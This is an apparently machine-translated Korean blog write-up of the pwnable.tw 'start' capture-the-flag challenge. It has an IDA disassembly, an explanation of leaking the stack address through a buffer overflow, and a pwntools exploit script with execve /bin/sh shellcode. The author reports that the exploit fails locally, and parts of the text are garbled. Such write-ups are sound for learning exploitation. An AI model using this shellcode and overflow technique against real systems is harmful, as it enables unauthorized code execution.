여름방학 훈련
3199 단어 제목.
char start()
{
char result; // al
result = 3;
__asm
{
int 80h; LINUX - sys_write
int 80h; LINUX -
}
return result;
}
이게 뭐야. 어셈블리 코드를 직접 봐.
.text:08048060
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1↑o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
힌트를 보면 대충 읽을 수 있는 길이의 문자열을 읽은 다음에 int 80h에 ret가 끊기면 여기로 넘쳐나서 우리가 쓴 셸코드를 실행해야 하기 때문에 우리는 esp의 실제 주소를 얻을 방법을 생각해야 한다. 내가 생각한 것은 두 번의 넘침을 통해 getshell을 넘긴다. 첫 번째 넘침을 통해 esp의 실제 주소를 얻고 두 번째 넘침을 getshell에 내exp를 첨부하는 것이다.
from pwn import *
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
def pwn(debug):
if(debug==1):
p=process('./start')
elf=ELF('./start')
else:
p=remote('chall.pwnable.tw',10000)
offset=20
ret=0x08048087
payload='a'*offset+p32(ret)
p.recvuntil(':')
p.sendline(payload)
data=p.recv()
leak=u32(data[:4])
print leak
payload2='a'*offset+p32(leak+offset)+'aaaa'*4+shellcode
p.sendline(payload2)
p.interactive()
if __name__=='__main__':
pwn(1)
이거 괜찮을 것 같은데 제가 getshell을 로컬에서 디버깅을 했는데 갑자기 안 돼요. 큰 놈들이 알면 알려주셔도 돼요.
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
자바 - 숫자 반전이 수의 각 비트 에 있 는 숫자 를 반전 시 켜 새 수 를 얻 으 십시오.새 수도 정수 의 흔 한 형식 을 만족 시 켜 야 한다. 입력 형식: 총 1 줄, 정수 N 을 입력 하 십시오.출력 형식: 출력 총 1 줄,...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.